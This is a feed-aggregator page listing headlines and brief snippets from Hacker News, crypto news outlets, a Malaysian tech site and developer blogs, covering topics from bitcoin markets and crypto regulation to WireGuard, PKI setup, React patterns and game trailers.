    Skyline Queries? Summer is in full swing, the weather outside is hot and sunny. And here I am at my desk, scribbling away while my mind is sipping margaritas in a hotel bar somewhere in the Caribbean. But how do I decide which hotel? Close to the beach? Good reviews? Cheap? Can I find a hotel that's closer to the beach, has better reviews, and is cheaper than all the other hotels? Probably not. But with so many options to choose from, I can eliminate hotels that are worse in every aspect than others. This is the essence of skyline queries: finding the best options in a multi-dimensional problem space (in this case, distance from the beach, prices and reviews). I wrote a quick introduction to skyline queries here, but for those who want something even quicker: We have a set of points in a…  ( 18 min )
    LivinGrimoire VS Standalone LLM
    🧠 The LivinGrimoire Software Design Pattern: Why You’ll Never Settle for a Standalone LLM Again Imagine an AI that doesn’t just respond — it evolves, absorbs skills like magic, and reacts in real time. No fine-tuning. No bloated configs. No tutorials. Just pure, modular intelligence. Welcome to LivinGrimoire — the software design pattern that turns your AI project into a living, breathing cognitive engine. Standalone LLMs are great at chatting. But LivinGrimoire? It’s a skill-based AI architecture that thinks, reacts, and grows. Here's what it does that LLMs simply can't: Want to give your AI the ability to tell time? brain.addSkill(DiTime()) Boom. Your AI now understands time. No retraining. No wiring. Skills auto-connect to the right cognitive lobe — logic, sensory, or hardware. Just…  ( 6 min )
  • Open

    Show HN: AI Physics Tutor with Free Body Diagrams
    Comments
    The Crisis of Professional Skepticism
    Comments
    HTML-in-Canvas
    Comments  ( 15 min )
    Lina Khan points to Figma IPO as vindication of M&A scrutiny
    Comments  ( 9 min )
    Modeling Open-World Cognition as On-Demand Synthesis of Probabilistic Models
    Comments  ( 3 min )
    AWS deleted my 10-year account and all data without warning
    Comments  ( 12 min )
    Show HN: Wordle-style game for Fermi questions
    Comments
    Great Question (YC W21) Is Hiring a VP of Engineering (Remote)
    Comments  ( 7 min )
    The unreasonable likelihood of being: origin of life, terraforming, and AI
    Comments  ( 2 min )
    Linear Types for Programmers (2023)
    Comments  ( 4 min )
    Telo MT1
    Comments  ( 2 min )
    Browser extension and local backend that automatically archives YouTube videos
    Comments  ( 6 min )
    Why Exercise Is a Miracle Drug
    Comments  ( 12 min )
    How to reverse engineer an analog chip: the TDA7000 FM radio receiver
    Comments  ( 37 min )
    Hiding secret codes in light protects against fake videos
    Comments  ( 4 min )
    Ana Marie Cox on the Shaky Foundation of Substack as a Business
    Comments  ( 7 min )
    VSCode extension for syntax highlighting multi-line YAML strings
    Comments  ( 7 min )
    The /o in Ruby regex stands for "oh the humanity "
    Comments  ( 12 min )
    Unikernel Guide: Build and Deploy Lightweight, Secure Apps
    Comments  ( 21 min )
    The Rubik's Cube Perfect Scramble
    Comments  ( 38 min )
    Iceberg, the Right Idea – The Wrong Spec – Part 2 of 2: The Spec
    Comments  ( 22 min )
    The case for having roommates (even when you can afford to live alone)
    Comments
    WebGPU enables local LLM in the browser. Demo site with AI chat
    Comments
    Financial Lessons from My Family's Experience with Long-Term Care Insurance
    Comments  ( 33 min )
    The Art of Multiprocessor Programming 2nd Edition Book Club
    Comments  ( 7 min )
    Efficiently Generating a Number in a Range (2018)
    Comments  ( 15 min )
    Character Bitmap Graphics on the Pet 2001
    Comments  ( 20 min )
    Cadence Guilty, Pays $140M for Exporting Semi Design Tools to PRC Military Uni
    Comments  ( 8 min )
    Anandtech.com now redirects to its forums
    Comments  ( 12 min )
    Show HN: NaturalCron – Human-Readable Scheduling for .NET (With Fluent Builder)
    Comments  ( 9 min )
    ThinkPad designer David Hill spills secrets, designs that never made it
    Comments  ( 14 min )
    A Bytecode VM for Arithmetic: The Parser
    Comments  ( 18 min )
    6 Weeks of Claude Code
    Comments  ( 19 min )
    At a Loss for Words: A flawed idea is teaching kids to be poor readers (2019)
    Comments  ( 32 min )
    New research finds that ivermectin could help control malaria transmission
    Comments  ( 5 min )
    A.I. Researchers Are Negotiating $250 Million Pay Packages
    Comments
    A.I. Researchers Are Negotiating $250M Pay Packages
    Comments
    Compressing Icelandic name declension patterns into a 3.27 kB trie
    Comments  ( 44 min )
    We may not like what we become if A.I. solves loneliness
    Comments  ( 144 min )
    North Korea sent me abroad to be a secret IT worker
    Comments  ( 27 min )
    Tesla Found Partly Liable in 2019 Autopilot Death
    Comments  ( 94 min )
    The First Widespread Cure for HIV Could Be in Children
    Comments  ( 105 min )
    System-Wide Safety Project
    Comments  ( 13 min )
    Welcome to Url.town, Population 465
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    Microsoft is open sourcing Windows 11's UI framework
    Comments  ( 11 min )
    Collections: Life, Work, Death and the Peasant, Part IIIa: Family Formation
    Comments  ( 92 min )
    Ladybird Browser July Update
    Comments  ( 3 min )
    Terence Tao weighs in on the suspension of UCLA grants
    Comments
    At $250M, top AI salaries dwarf the Manhattan Project and the Space Race
    Comments  ( 10 min )
    A dedicated skin-to-brain circuit for cool sensation in mice
    Comments  ( 7 min )
    Robert Wilson has died
    Comments  ( 22 min )
    Peak Energy just shipped the US's first grid-scale sodium-ion battery
    Comments  ( 11 min )
    Tesla owes small businesses millions in unpaid bills [video]
    Comments
    Hardening Mode for the Compiler
    Comments  ( 12 min )
    Cube: Packing a 5x5x5 cube with Y-pentominoes
    Comments  ( 1 min )
    The Rickover Corpus: A digital archive of Admiral Rickover's speeches and memos
    Comments  ( 4 min )
    Meta violated privacy law, jury says in menstrual data fight
    Comments
  • Open

    SEC’s Crypto Task Force Will Tour U.S. to Hear From Small Startups on Policy Reform
    The task force will visit 10 cities from August to December, targeting smaller crypto projects, to hear their perspectives and concerns.  ( 26 min )
    Arkham Says $3.5B LuBian Bitcoin Theft Went Undetected for Nearly Five Years
    Arkham, a blockchain analytics firm, says it uncovered a five-year-old theft of 127,000 BTC from LuBian, a major 2020 mining pool.  ( 28 min )
    ‘Chokepoint 3.0’ Has Arrived? a16z Warns of Anti-Crypto Bank Tactics
    This tactic could strangle competition by making it more costly for users to transfer funds to alternative platforms, a16z's general partner argued.  ( 27 min )
    Why Michael Saylor Calls Strategy's STRC Preferred Stock His Firm's 'iPhone Moment'
    Michael Saylor likens Strategy’s latest Bitcoin-backed preferred stock to Apple’s iPhone, calling STRC a breakthrough in corporate finance with massive market potential.  ( 31 min )
    Arthur Hayes Dumps Millions in Crypto Amid Bearish Bet on U.S. Tariff Impact
    Hayes suggested that markets will be impacted by President Trump's tariffs and a weaker-than-expected US jobs report, predicting a bearish scenario for crypto  ( 27 min )
    Crypto Market Bloodbath: Three Reasons Traders Are in Risk-Off Mode
    A dismal U.S. jobs report, rising geopolitical risks, and recession worries triggered a broad crypto sell-off led by BTC and ETH.  ( 31 min )
    Wall Street Is Buying Crypto ‘Quietly’ — And That’s Bullish, Says Bitmine's Tom Lee
    Tom Lee says ether and bitcoin remain in early-stage institutional adoption, and warns investors not to mistake disbelief for a market top.  ( 29 min )
  • Open

    $3.5B Bitcoin heist from 2020 retroactively uncovered — Arkham Intel
    The $3.5 billion heist is the single largest cryptocurrency hack and went unreported by both parties for years, according to Arkham.
    Creative leverage solves the impermanent loss problem — Curve founder
    Impermanent loss has been a major factor preventing crypto holders from becoming liquidity providers on decentralized finance platforms.
    Big stage, bigger scams? 5 shady crypto projects that made it to the spotlight
    ZachXBT named some sponsors of Token2049 as sketchy. While these coins may have hype-fueled pumps to cult-like followings, they may have no real utility.
    Bitcoin mining difficulty hits ATH, but is projected to drop in August
    The Bitcoin mining difficulty is crucial to both miner profitability and ensuring that BTC is not mined faster than the protocol allows.
    China’s crypto liquidation plans reveal its grand strategy
    China’s plan to liquidate confiscated crypto through Hong Kong exchanges isn’t simply a policy — it’s to control global digital asset markets and outmaneuver the US.
    Quantum threat to Bitcoin? 80,000 BTC just moved after 14 years
    A Bitcoin whale likely moved 80,000 BTC from dormant wallets after alarming OP_RETURN messages were sent across multiple old addresses.
    Small setups, big wins: Is solo Bitcoin mining making a comeback?
    With Bitcoin’s hashrate near all-time highs, solo miners continue to land full block rewards, thanks to efficient ASICs and a heavy dose of luck.
    ARK Invest scoops up Coinbase, BitMine shares amid stock dips
    ARK Invest bought $30 million in Coinbase and $17 million in BitMine shares on Friday amid price dips.
    Spot Bitcoin ETFs see second-largest outflow, Ether ETFs end 20-day streak
    Bitcoin ETFs saw $812 million in outflows, led by Fidelity and ARK, while Ether ETFs ended their longest inflow streak with $152 million in losses.
    Mill City Ventures to load up on more SUI with $500M deal as shares fall 11%
    Mill City Ventures III announced a $500 million equity agreement to boost its SUI treasury, which currently sits at 76.2 million units after making its first $276 million purchase this week.
    DeFi Education Fund urges Senate to strengthen crypto dev protections in draft bill
    DeFi Education Fund called on the Senate Banking Committee to frame a key crypto market bill in a more tech-neutral way and strengthen crypto developer protections in a recent letter.
  • Open

    The Brabus 1000 Is A Hybrid Powerhouse Built On The AMG GT 63 S E Performance
    The German tuner Brabus has unveiled yet another creation of theirs, which is named the Brabus 1000. This is based on the Mercedes-AMG GT 63 S E Performance. The Brabus comes with bespoke exposed-structure carbon fibre components in its bodywork. In terms of design, the Brabus 1000 has a much more aggressive stance compared to […] The post The Brabus 1000 Is A Hybrid Powerhouse Built On The AMG GT 63 S E Performance appeared first on Lowyat.NET.  ( 34 min )
    Gigabyte Aero X16, Gaming A16 Now Available In Malaysia
    Gigabyte is officially launching its Aero X16 and Gaming A16 laptops in Malaysia. First unveiled at Computex 2025, these laptops serve as the brand’s thin and light form factor laptops, as well as being Copilot+ laptops as well. Starting with the Gigabyte Aero X16, the laptop comes with an AMD Ryzen AI 7 350, a […] The post Gigabyte Aero X16, Gaming A16 Now Available In Malaysia appeared first on Lowyat.NET.  ( 33 min )
    vivo V60 To Launch In India On 12 August
    Half a month ago, renders of the vivo V60 made their way online. The phone was also spotted in the SIRIM database. While there are currently no new developments locally, the company has announced when it will be launching in India. Via a post on its official account on X, the company says that it’s […] The post vivo V60 To Launch In India On 12 August appeared first on Lowyat.NET.  ( 33 min )
    AEON Bank, foodpanda Partner To Support Gig Economy And Drive Financial Inclusion
    AEON Bank has signed a strategic partnership with foodpanda Malaysia to enhance digital banking adoption and empower the country’s gig economy. The collaboration, formalised through a Memorandum of Understanding (MoU), aims to combine fintech innovation with the food and grocery delivery sector. Through this business-to-business (B2B) alliance, AEON Bank and foodpanda aim to offer integrated […] The post AEON Bank, foodpanda Partner To Support Gig Economy And Drive Financial Inclusion appeared first on Lowyat.NET.  ( 33 min )
    Huawei Pura 80 Series Now Available Nationwide
    Last week, Huawei officially launched the Pura 80 Pro and Pura 80 Ultra in Malaysia. Now, the brand has made its photography-focused flagship smartphones available for purchase across the nation. To recap, the two models feature a 6.8-inch LTPO OLED display with a 120Hz refresh rate and a peak brightness of 3,000 nits. They also […] The post Huawei Pura 80 Series Now Available Nationwide appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Embedded Swift: A Modern Approach to Low-Level Programming
    Embedded programming has long been dominated by C and C++, powering everything from microcontrollers to real-time systems. While these languages offer unmatched low-level control, they also introduce persistent challenges, manual memory management, u...  ( 20 min )

  • Open

    How to Deploy a Next.js API to Production using Sevalla
    When people hear about Next.js, they often think of server-side rendering, React-powered frontends, or SEO-optimised static websites. But there's more to this powerful framework than just front-end development. Next.js also allows developers to build...  ( 11 min )
    How Infinite Loops Work in C++
    In C++, a loop is a part of code that is executed repetitively until the given condition is satisfied. An infinite loop is a loop that runs indefinitely, without any condition to exit the loop. In this article, we will learn about infinite loops in C...  ( 8 min )
    The Case for End-to-End Engineering Education: Preparing Institutions for a Dynamic Future
    The pace of innovation in artificial intelligence, automation, and hyper-connected systems is accelerating, placing software engineers at the very center of a global transformation. They are the architects of our digital future, wielding the code tha...  ( 20 min )
    AI in Finance: Transforming Investments and Banking in the Digital Age
    Artificial Intelligence (AI) is rapidly reshaping the financial sector. As models become more powerful and infrastructure more scalable, AI has evolved from an emerging technology into a fundamental force driving competitive advantage. From fraud pre...  ( 34 min )
    How to Push Silent Updates in Flutter Using Shorebird
    Imagine you've just launched a major feature. Your app is climbing the charts, but then the first bug report arrives. It's a critical payment validation error. The fix is a single line of Dart code, but now you face the dreaded app store review queue...  ( 11 min )
    Senior Playstation Engineer's tips for learning new tools and getting things done [Podcast #184]
    On this week's episode of the podcast, freeCodeCamp founder Quincy Larson interviews Dilip Krishnamoorthi. He's a software engineer working at Sony, building user interfaces for Playstation game consoles where he's been for 10 years. We talk about:...  ( 4 min )
  • Open

    Strategy expands STRC offering twice in two weeks
    The company continues to accumulate BTC through corporate equity and debt offerings, but class action lawsuits against Strategy are mounting.
    SEC Chair Aktins calls to ‘reshore crypto’ as companies move back to the US
    With officials urging companies to “reshore crypto,” global companies are expanding US operations as the Trump administration rolls out pro-crypto reforms.
    SEC’s crypto task force to hit the road with 10 roundtables across the US
    The roundtables, scheduled to be held in 10 cities, will focus on crypto startups less than two years old and with 10 or fewer employees.
    Hong Kong stablecoin stocks slide as new rules take effect, experts see healthy reset
    Stablecoin-linked stocks in Hong Kong plunged by double digits amid the city’s new regulatory transition, but experts say it's a healthy correction.
    As Trump challenges Fed independence, key FOMC member resigns
    Adriana Kugler steps down from the Federal Reserve Board amid mounting political pressure and renewed uncertainty over Jerome Powell’s leadership.
    Crypto Biz: Digital gold rush intensifies as Tether Gold surges, institutions double down on BTC
    As physical gold hits record highs, Tether Gold’s (XAUt) market cap surges past $800 million, while Bitcoin treasury firm Twenty One Capital expands holdings.
    OpenAI raises $8.3B at $300B valuation
    OpenAI’s latest funding round, which values the company at $300 billion, was five times oversubscribed amid surging investor demand for AI, according to The New York Times.
    Can Google Gemini really help plan crypto trades?
    Gemini looks smart, but can it actually trade? We put it to the test with sample trades and break down where it helps and where it doesn’t.
    Bitcoin’s Independence Day: 8 years after the Block Size Wars
    The value of Bitcoin has grown substantially since the BTC community asserted independence from miner domination on Aug. 1, 2017.
    Bitcoin price dip shakes trader confidence: Is the 2025 bull run in danger?
    Bitcoin derivatives data shows no evidence the 2025 bull run is over despite BTC price sliding to lower support levels below $115,000.
    Crypto treasuries top $100B for Ethereum’s 10th anniversary: Finance Redefined
    Ethereum’s 10th anniversary celebration was marked by an uptick in institutional demand for Ether as an alternative treasury reserve asset, prompting Wall Street to look past Bitcoin.
    XRP’s ‘bullish divergence’ raises 20% price rally potential in August
    XRP’s $2.80–$2.95 support zone is emerging as a key battleground, with analysts calling it a critical “make-or-break” price level for the next month.
    Crypto exchange Gate launches spot trading services in the US
    Gate enters the US market with spot trading as regulatory landscape shows signs of progress.
    Ric Edelman's crypto shift: from 1% to 40% allocation
    Veteran financial adviser Ric Edelman explains why Bitcoin is no longer viewed as just a speculative asset, and how portfolio strategies are evolving in response.
    Crypto stocks tumble alongside BTC, equities as tariff fears resurface
    Shares of Coinbase, Riot Platforms and CleanSpark plunged amid a broader market sell-off driven by weak jobs data, inflation concerns and renewed tariff threats.
    Why a mystery whale is quietly accumulating 331 million Pi coins
    A wallet has scooped up over 331 million Pi coins during a major price slump, raising questions about insider moves or a strategic bet on Pi’s future.
    How a police officer stole 50 BTC from a seized crypto wallet and got caught
    A police officer’s 50-BTC theft was unraveled by blockchain tracking. Investigators traced the funds and brought him to justice.
    Price predictions 8/1: BTC, ETH, XRP, BNB, SOL, DOGE, ADA, HYPE, XLM, SUI
    Bitcoin’s tight consolidation resolved to the downside, but the failure of the bears to sustain the lower levels could push the price to new all-time highs.
    DeFi shouldn’t fear ‘suitcoiners’
    DeFi’s future depends on embracing institutional investors, whose capital, credibility and demand for stability are shifting DeFi from a speculative playground into a mature, trusted financial ecosystem.
    Bitcoin traders warn $123K was a top: How low can BTC price go?
    Bitcoin's bearish divergence signals a possible price correction toward $92,000, similar to the declines witnessed in 2020 and 2024.
    Bitcoin rejects at $116K despite US jobs win as Fed rate cut bets pass 75%
    Bitcoin bulls are struggling to keep the market off new three-week lows despite a potential tailwinds coming from the US labor market.
    UK regulator lifts ban on crypto ETNs for retail investors
    After banning retail access to crypto ETNs and derivatives in 2021, the FCA has reversed its approach in favor of ETN access for retail.
    State of stablecoins after GENIUS Act: Expert weighs in
    Following the landmark US passage of the GENIUS Act, Fabian Dori of Sygnum Bank breaks down what lies ahead for stablecoins, institutional adoption and global crypto regulation.
    GENIUS sets new stablecoin rules but remains vague on foreign issuers
    The GENIUS Act leaves a foreign stablecoin loophole that puts US issuers at a competitive disadvantage, says former CFTC Chair Timothy Massad.
    Tether’s US Treasury holdings hit $127B, surpassing South Korea
    Tether’s USDT supply has increased by $26 billion in 2025, pushing its market cap to $163.6 billion as global demand for stablecoin grows.
    Hashgraph unveils IDTrust to challenge Worldcoin and Microsoft
    THG co-founder and CEO Stefan Deiss told Cointelegraph that the IDTrust allows users full control over their data, giving it an edge over competitors like Microsoft Entra.
    Metaplanet plans to raise additional $3.7B to buy Bitcoin
    The Japanese investment company’s stock offering is part of its treasury strategy to acquire 210,000 Bitcoin by the end of 2027.
    Andreessen Horowitz warns of loopholes in draft US crypto rules
    Andreessen Horowitz urged the US Senate Banking Committee to scrap the “ancillary asset” concept in draft crypto legislation, warning of loopholes.
    Ray Dalio sells final Bridgewater stake after predicting debt collapse
    While continuing to voice economic warnings, Bridgewater founder Ray Dalio recently increased his recommended allocation to Bitcoin and gold to 15%.
    Spot Ether ETFs clock $5.4B monthly inflow record amid 20-day streak
    Spot Ether ETFs recorded $5.43 billion in net inflows in July, marking a 369% monthly surge and extending their daily inflow streak to 20 consecutive days.
    Bitcoin ends record month at $115K with BTC price set for 'vertical' August
    Bitcoin completes its highest monthly close in history, while post-halving August traditionally produces double-digit percentage BTC price gains.
    XRP cloud mining in 2025: How much can you really earn?
    XRP cloud mining is possible in 2025, but approach with caution, as risks often outweigh the rewards.
    Salvadoran President Nayib Bukele can now run for election indefinitely
    El Salvador approved indefinite reelection for president and extended terms to six years, sparking backlash from critics warning of increasing authoritarianism.
    Bitcoin fills July CME gap 'to the dollar' amid $104K BTC price target
    BTC price weakness outpaces stocks on fresh US trade tariffs, and Bitcoin traders are split over the impact of the CME gap fill near $114,000.
    Which countries secretly own the most Bitcoin — beyond the US and China
    In 2025, governments hold over 463,000 BTC, with the US and China leading, while countries like Bhutan, Iran and the UK quietly build strategic reserves.
    Crypto hacks top $142M in July, with CoinDCX leading losses
    During the WOO X hack, bad actors used social engineering to gain access to the development environment, according to Rob Behnke, chairman of Halborn.
    Democrats press bank regulator on Trump stablecoin conflicts
    Democratic senators have asked Comptroller of the Currency Jonathan Gould to explain how he’ll prevent Donald Trump from influencing stablecoin rules that may benefit his family.
    Michael Saylor joins chorus for clarity as US works to legally define crypto
    Strategy’s Michael Saylor wants the US government to clearly define digital securities and commodities, as well as state when it is allowable to tokenize securities.
    Monster week for crypto treasury firms with $8B buying blitz
    Cointelegraph analyzed 16 company statements made this week and found a whopping $7.8 billion has been earmarked or used to buy crypto.
    ETH recovery outpaces Bitcoin despite constant selling at $4K: Here’s why
    ETH's funding rate turns negative as the price drops below $3,600. The good news is, traders are buying the dip!
    Bitcoin dips below $115K as Trump tariff order fails to comfort investors
    Bitcoin tumbled to a three-week low near $114,000 as Trump’s tariff executive order triggered a stock and crypto sell-off.
    OG Bitcoiners are rotating out, but it’s a healthy dynamic: Analysts
    Old Bitcoin being sold to new institutions is a sign of its “integration with the financial system," Ryan McMillin, chief investment officer at Merkle Tree Capital told Cointelegraph.
    Solv Protocol targets over $1T in idle Bitcoin with institutional yield vault
    The new vault seeks to put inactive Bitcoin holdings to work using a mix of yield strategies across decentralized, centralized and traditional finance.
    Strategy CEO calls it ‘most misunderstood’ stock amid record profit
    Strategy CEO Phong Le says the market still misunderstands and undervalues its Bitcoin play, as it posted $10 billion profit in the second quarter and plans to raise $4.2 billion to buy more.
  • Open

    The 5 MB Homework Limit That Turned Me Into an App-Builder
    This semester I snapped a neat, high-res photo of my handwritten math assignment and went to upload it to my university platform. Error: “File must be under 5 MB.” What I tried next Google results sent me to web compressors that wanted my personal photos on their servers (nope). The first “free” iOS app threw three ads at me before I could pick a file. A second app asked for $4.99 per month, just to shrink a picture! I ended up opening Preview on my Mac, exporting, tweaking quality sliders, re-sending to my phone, and finally hitting “Submit” with seconds to spare. The whole thing took longer than writing the homework. That night I wrote Crunch, an offline photo compressor that fixes the exact pain I felt. What Crunch does now Shrinks JPEG, HEIC, PNG images by up to 70 %, totally on-device (no uploads) Converts formats so HEIC becomes JPG or PDF in one tap Cleans out location + EXIF data before you share a file Free: 10 photos a day. Pro: one-time $3.99—no subscriptions, ever Try Crunch for iOS now: Crunch on AppStore Follow me on x where I’m sharing progress, mistakes, your feedback will shape the next update—features, pricing, UX, anything. @3nginuity  ( 5 min )
    Best Lightweight Docusaurus Alternative? I Think It’s "docmd" - A Refreshingly Minimal Docs Generator
    I’ve tried just about every documentation generator out there. Some are great but heavy. Others are flexible but overwhelming. Then I stumbled on docmd, and it was like a breath of fresh air. It’s a tiny, Node.js-based static documentation generator that feels like the spiritual successor to the early days of Jekyll — but with modern DX. And I cannot believe I didn’t find it earlier. npm install -g @mgks/docmd cd docs docmd init docmd build Zero setup: Just run a single command to scaffold Install dependencies: Fast and light Simple config: One file: config.js Markdown-first: No weird templating. Just .md files. Custom JS/CSS supported: Without hacks. SEO + Analytics: Already handled with built-in plugins I created a full-fledged docs site in 2 minutes. The sidebar is just a JS array T…  ( 6 min )
    Toward Understanding & Rethinking ITSM in the Age of AI
    Imagine your IT staff can anticipate and manage unforeseen issues in advance. Your employees are happy, clients are satisfied, and you hold a positive company image in the long run. You might be thinking, How’s that possible? For your information, this practice is being implemented in the organizational culture of 89% of major tech giants. It’s possible with the power of information technology system management (ITSM). As technology becomes increasingly inevitable for business growth, more organizations are finding ways to incorporate IT services to fulfill their needs. IT service management (ITSM) supports these businesses to keep up with their management through technological means. However, this race is not yet finished with ITSM solutions. Currently, managed IT services have been tr…  ( 10 min )
    Mix with the Masters: Mixing Night with Ken Lewis - DAW TRICKS NIGHT - 8/6/2025
    Mixing Night with Ken Lewis – DAW TRICKS NIGHT (8/6/2025) Join 2X Grammy winner Ken Lewis (114 Gold & Platinum credits) for a free, monthly Mixing Night livestream where he dives into mix-bus techniques that power hit records. Ken shares real-world production tips, answers questions on mixing, recording, and career growth—and demos pro tricks live so you can level up your tracks. Catch the next show on Mixing Night Audio’s site, follow along on Instagram, or explore Ken’s plugins, merch, and critique services to keep improving your sound between livestreams. Watch on YouTube  ( 5 min )
    IGN: Borderlands 4 - Official 'Designing Rafa' Trailer
    Borderlands 4 just dropped its “Designing Rafa” trailer, giving us the lowdown on Rafa—the ex-Tediore cog turned playable Soldier. With his beefed-up Exo-Arms and razor-sharp Blades, he’s ready to carve through any loot-hungry bad guy that stands in his way. Mark your calendars: Borderlands 4 blasts off on September 12 for PS5, Xbox Series X|S and PC, then rolls onto Nintendo Switch 2 on October 3. Don’t miss it! Watch on YouTube  ( 5 min )
    IGN: EA Sports FC 26 - Official Career Overview Trailer
    EA Sports FC 26 just dropped its Career Deep Dive trailer, showcasing a ton of community-requested tweaks to the classic football sim. You’ll get to tackle Manager Live Challenges on the fly, watch your squad’s real-time evolution in the slick new Manager Market, and enjoy a bunch of subtle gameplay and UI refinements designed to make your managerial journey feel fresh. Mark your calendars for September 26—this update hits PS4, PS5, Xbox One, Xbox Series X|S, Nintendo Switch (and the upcoming Switch 2), plus PC. Get ready to build your dream club from the ground up! Watch on YouTube  ( 5 min )
    IGN: Shinobi: Art of Vengeance - The First 26 Minutes of Gameplay
    Shinobi: Art of Vengeance brings Sega’s classic 2D action-platformer back in a Streets of Rage 4 style, putting you in the tabi of ninja hero Joe Musashi as he hunts down the evil Lord Ruse after a devastating attack on his clan. Expect lightning-fast combo chains, Ninpo special moves and gore-tastic glory-kill executions that keep the action flowing. The first 26-minute gameplay video covers the opening level and boss fight, showcasing the game’s slick visuals and tight combat. Shinobi: Art of Vengeance launches August 28 on PC (Steam), PS4/5, Xbox One & Series X|S and Nintendo Switch. Watch on YouTube  ( 5 min )
    [Boost]
    Clean architecture series - Part 1 David Pereira ・ Mar 26 '20 #design #productivity #career #architecture  ( 5 min )
    IoT Applications for Predictive Maintenance in Composite Structures
    Composite structures have become a popular choice in modern construction due to their lightweight, durable, and weather-resistant properties. From architectural panels to urban fencing systems, composite materials now form the backbone of countless infrastructure projects — but as with any material, wear and degradation still occur. This is where IoT-powered predictive maintenance enters the scene. With smart sensors, cloud systems, and real-time analytics, developers and engineers can now design systems that monitor the health of composite structures, detect anomalies, and predict failures — all before they happen. Although composite fences are low-maintenance by design, they’re not immune to issues like: Micro-cracks from thermal expansion Moisture infiltration in humid environments Stru…  ( 7 min )
    🌅 How Waking Up Early Helped Me Code More, Play with My Son, and Support My Wife
    I used to constantly ask myself: For a long time, I couldn’t find the balance. I tried time-blocking, productivity tools, late-night hustle… but nothing worked. Eventually, I discovered a simple—but not easy—solution: waking up early. ⸻ ☀️ The Idea Sounds Simple: Wake Up Early I had heard it a hundred times before. But like many, I struggled to go to bed early, which made it nearly impossible to wake up early consistently. For years, I tried and failed. I would stay up late, feeling exhausted the next morning, and miss out on both family time and personal growth. ⸻ 🎯 The Turning Point One day, I told myself: “Just give it a shot—go to bed early tonight and try waking up at 4:37 AM. One day. Just try.” And guess what? That first day, I woke up at 3:38 AM naturally—without an alarm. I stayed up, fully awake. That was the beginning. For 13 days in a row, I maintained this new rhythm. Only once did I fail and fall back asleep. But now, I’d seen the results. ⸻ 🔑 The Key That Solved It All Waking up early gave me: ⸻ 💬 My Message to You If you’re struggling to: … and you’re not required to work at night — give this a chance. 🛌 Sleep early. You might just unlock the version of you that’s been waiting. ⸻ ⏳ Thanks for reading! Have you tried waking up early to code or create? I’d love to hear your story.  ( 6 min )
    🎮 Learn Design Patterns: Build a “Monster Arena” Game and Master TypeScript Design Patterns (Part 1)
    This article was originally published on Medium. Design patterns aren’t just academic concepts — they’re practical tools that bring structure, clarity, and flexibility to your code. And what better way to learn them than by building a game? In this two-part series, we’re creating a Monster Battle Arena in TypeScript and Node.js, where players summon goblins and dragons, assign them attack strategies, and trigger combat through an interactive terminal. Part 1 focuses on implementing the core gameplay mechanics: A central GameManager to manage game state Adding players to the game Summoning different types of monsters Fighting monsters Logging events to a UI terminal Along the way, you’ll learn how to apply essential software design patterns with clean, practical examples: 🧙‍♂ Singleton — C…  ( 14 min )
    Building a Professional React Konva Rich Text Editor: Canvas-Based Text Editing Done Right
    Building a Professional React Konva Rich Text Editor: Canvas-Based Text Editing Done Right As developers, we've all encountered the limitations of traditional HTML-based text editors when building creative applications. What if you need pixel-perfect text positioning, smooth animations, or complex transformations? Enter React Konva Rich Text Editor - a canvas-native solution that changes the game entirely. Most text editors work great for document editing, but fall short when you need: Precise positioning on a design canvas Smooth animations and transformations Custom text effects beyond CSS limitations Integration with graphics and other canvas elements Performance with complex interactions This is where canvas-based text editing shines, and React Konva provides the perfect foundation…  ( 8 min )
    Check the story behind my latest tool!
    Cially - I've made a free self-hosted Discord Server Analytics Dashboard 🪼 Skell ・ Aug 1 #discord #webdev #opensource #nextjs  ( 5 min )
    UI Logic Should Live in Hooks, Not in JSX
    When building React components, it's tempting to write logic directly inside JSX. After all, JSX looks like HTML, and sprinkling some conditional rendering or small calculations inline feels natural. But as your UI grows, this approach quickly leads to cluttered components that are hard to read, reuse, and maintain. There's a better way: Move UI logic into custom hooks. UI logic refers to any behavior that controls how something is displayed or interacted with in the UI. This includes things like: Conditional rendering (show/hide elements based on state) Derived state (e.g., isSelected = currentId === item.id) Event handling logic Accessibility behaviors (e.g., focus management) Animation triggers and states These are not business rules or API calls — they're decisions that shape the UI ex…  ( 8 min )
    Deconstructing Your FastAPI Endpoint: Smart Data, Smart Saving!
    Alright, backend explorers! We've made GET endpoints to read data and basic POST endpoints to create simple stuff. But what if we want to create something complex, like a full "Book" object with a title, author, and perhaps more? And how do we save it permanently to a database like MongoDB? Today, we're going to explicitly dissect a powerful FastAPI endpoint that does exactly that. It introduces some vital concepts: Pydantic models (for smart data handling) and interacting with a MongoDB database. Here's the endpoint we're going to break down, line by line: # main.py (continued) # ... app = FastAPI() (from previous sessions) ... # These imports are crucial for our new endpoint! from app.model.book import BookCreate from app.config.database import get_db @app.post("/books/") async def cre…  ( 10 min )
    WireGuard Unlocked (Part 3): When and Why to Use NAT
    I wasn’t planning to write a dedicated post about NAT — because in most situations, it’s simply not needed. But when I was learning WireGuard myself, I ran into a flood of tutorials that used NAT without explaining why. Instead of helping, they often created confusion. After reviewing many of these setups, I realized NAT was being applied unnecessarily — sometimes even interfering with how WireGuard is supposed to work. The most critical concept to understand is AllowedIPs. This single setting controls both routing and access in WireGuard. For outgoing traffic: the destination IP must match an entry in AllowedIPs. For incoming traffic: the source IP must match an entry in AllowedIPs. Because of this, AllowedIPs must be carefully mirrored on both peers. Whether you like this design or not, …  ( 6 min )
    PKI With No Headache (Part 1): A Real World Example
    Every time you visit a secure website — like https://google.com — your browser quietly checks whether the site’s certificate was issued by a trusted Certificate Authority (CA). One of the most widely used CA systems in the world is Let’s Encrypt, which has issued over 3 billion certificates and powers a massive portion of the internet. Let’s Encrypt and other industry leaders like DigiCert and GlobalSign use a two-tier certificate hierarchy — a Root CA and one or more Intermediate CAs. In this post, we’re going to build that exact system — a minimal, fully working CA setup with the same two-tier hierarchy: A Root CA (self-signed) An Intermediate CA (signed by the root) It’s a real, functional CA you can use to issue certificates — just like the big players do. We’ll use OpenSSL and basi…  ( 7 min )
    RELAX NGとSchematronを組み合わせたTEI XMLスキーマの実装ガイド
